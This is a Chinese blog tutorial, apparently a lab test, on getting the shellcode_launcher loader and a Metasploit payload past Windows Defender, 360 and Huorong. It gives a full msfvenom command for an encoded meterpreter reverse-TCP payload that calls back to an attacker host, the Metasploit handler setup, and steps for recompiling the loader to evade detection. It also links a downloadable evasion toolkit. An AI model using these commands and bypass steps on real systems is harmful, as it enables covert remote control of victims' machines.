老树开新花之shellcode_launcher免杀Windows Defender(上)

简介: 老树开新花之shellcode_launcher免杀Windows Defender

免杀效果

静态免杀

动态免杀效果(指的是可执行命令)


1. 准备条件


本文中的免杀方式在我写完文章之后,免杀基本已经失效,毕竟是见光死,所以仅供各位师傅参考,内容上如有错误,希望师傅们能够指正!

本文在测试时,发现可免杀最新版火绒最新版联网360Windows Defender最新版(关闭可疑文件上传)

本文工具已打包至我的GitHub,欢迎多多star

https://github.com/crow821/crowsec/tree/master/BypassAv_new_shellcode_launcher

当然,如果你访问GitHub不方便,你也可以在本公众号中回复关键字:免杀  直接下载!


1.1 环境准备


攻击机:mac

ip地址:10.211.55.2

运行msf6进行测试

免杀软件:shellcode_launcher


https://github.com/clinicallyinane/shellcode_launcher/

测试机1:Windows10

ip地址:10.211.55.3  

运行安全防护:360最新版Windows Defender最新版

测试机2:Windows7

ip地址:10.211.55.9

运行安全防护:火绒最新版

测试机3:Windows server2019

ip地址:192.168.238.145

运行安全防护:火绒最新版Windows Defender最新版

其中,测试机均在虚拟机环境中。


1.2 shellcode知识介绍

shellcode加载器shellcode的通俗比喻:

shellcode加载器是枪,shellcode是子弹,二者缺一个都无法使用,所以免杀里面有很多关于二者的爱恨情仇,在这里就不多赘述了。

shellcode_launcher算是一个很古老的shellcode加载器,距离今天已经有8年了,在今天2022.01.16再次试试(2021.06.18免杀360),国内主流杀软对其免杀能力如何:

下载到本地:

在这里要保留该文件。


1.3 生成shellcode


首先用Msfvenom生成raw格式的shellcode,当前使用了shikata_ga_na编码模块:生成的监听机器为mac,ip为10.211.55.2,端口:1234

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=1234  -f raw -o shellcode.raw

因为当前shellcode是混淆过的,目前可以过Windows Defender和国内主流杀软,所以后面将不会对shellcode进行免杀测试,因为对本文来说没有太大意义,当然仅仅是本文而已!

但是这不代表shellcode可以过所有av,在VT上传之后,可以发现,其实有诸多杀软可以直接识别shikata_ga_nai编码加密模块特征:

样本链接:https://www.virustotal.com/gui/file/5ee4f74eb9cc7da9fbe61f933739177d9e042dc597da63fe93ec8959f27d3dc8


2. 无杀软的情况测试上线


首先测试下关闭所有杀软的的情况下,测试其能否正常上线:将raw文件拷贝到Windows10中,并且关闭所有杀软。

mac上开启msf进行监听:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.211.55.2
LHOST => 10.211.55.2
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.211.55.2:1234

然后执行shellcode_launcher加载器:

shellcode_launcher.exe -i shellcode.raw

此时mac收到会话,并且可以正常执行命令:


3. 免杀测试


3.1 360联网测试


shellcode_launcher使用360联网查杀试试:

直接被杀,直接就发现了当前是木马文件,毕竟这是8年前的加载器!


3.2 免杀360


因为shellcode_launcher项目,作者给的不仅有shellcode_launcher.exe,还有源代码,因此在这里尝试使用作者的源代码自主打包编译测试下:

使用vs2012打开(这部分可百度如何安装vs2012)作者的源代码文件:

在这里不做任何的修改,直接编译文件:

文件编译为shellcode_launcher.exe成功,先看下:

这里将两个文件都修改下名字:

shellcode加载器:

crow_test_av.exe

shellcodecrow_test_av.raw

在没有进行360联网查杀的情况下直接进行测试:

在这里看到,可以过360,而且可以执行命令,在这里我就不主动进行360联网查杀了,如果联网查杀的话,就会导致木马样本上传,几分钟之后就会被杀!!!

在这里放一张早期2021.06.18测试的图:


3.3 火绒联网测试


在GitHub上直接下载的shellcode_launcher.exe ,复制进来之后直接被秒杀:

如果直接被杀,那将刚刚手动编译过360的木马拿过来试试:复制进行之后,直接又被秒杀!!!


3.4 思考


一般情况下,bypass火绒的方法是比较容易的,因为火绒主要是静态免杀(这里不绝对),所以在这里过了360的没过火绒的话,应该是文件里面的某些关键字命中了火绒的黑名单。那在这里可以简单的分析下:

使用strings来提取crow_test_av.exe中的字符,命令:

strings.exe crow_test_av.exe > 0115.txt

分析提取字符串的文件,该文件的内容较多,但是在这里面出现了shellcode_launcher.exe关键字,而且在源代码中也出现了该关键字:提取字符串:

源代码:

但是在这里关键字实在太多了,短时间内可能无法不太好进行测试,因此在这里将当前的cpp代码直接复制一份到火绒环境中去:

复制进行之后,发现当前文件没有被杀:

修改后缀为exe之后,也没有被杀:

那在这里可能暂时没有好的方法,只能够直接对作者的源代码进行修改。


3.5 免杀火绒


在当前环境中,使用如下方式进行替换关键字:

相关文章
|
3月前
|
安全 Windows
windows11 永久关闭windows defender的方法
windows11 永久关闭windows defender的方法
336 2
|
数据采集 安全 Windows
解决关于Windows Defender Antivirus Service自启造成运行python程序时,Windows的cpu和内存占用过高问题
启用“关闭Windwos defender”服务解决阿里云Windows服务器的卡顿问题,并列举了网上一些错误的解决方法。
9976 2
解决关于Windows Defender Antivirus Service自启造成运行python程序时,Windows的cpu和内存占用过高问题
|
11月前
|
缓存 安全 区块链
艰难的mimikatz源码编译免杀 Windows Defender(下)
艰难的mimikatz源码编译免杀 Windows Defender
396 0
|
11月前
|
安全 测试技术 Go
新版掩日——免杀Windows Defender
新版掩日——免杀Windows Defender
586 0
|
12月前
|
Windows
如何卸载,禁用和删除Windows Defender
如何卸载,禁用和删除Windows Defender
|
安全 Windows
红蓝对抗之致盲 Windows defender(二)
红蓝对抗之致盲 Windows defender
316 0
|
机器学习/深度学习 安全 PHP
红蓝对抗之致盲 Windows defender(一)
红蓝对抗之致盲 Windows defender
283 0
|
安全 Windows
WIN10关闭Windows Defender
WIN10关闭Windows Defender
153 0
WIN10关闭Windows Defender
|
安全 Windows
使用注册表关闭Windows 10 Defender
使用注册表关闭Windows 10 Defender
603 0
使用注册表关闭Windows 10 Defender
|
云安全 Windows
windows10:检测windows defender是不是已经连接到了云安全中心
windows10:检测windows defender是不是已经连接到了云安全中心
1615 0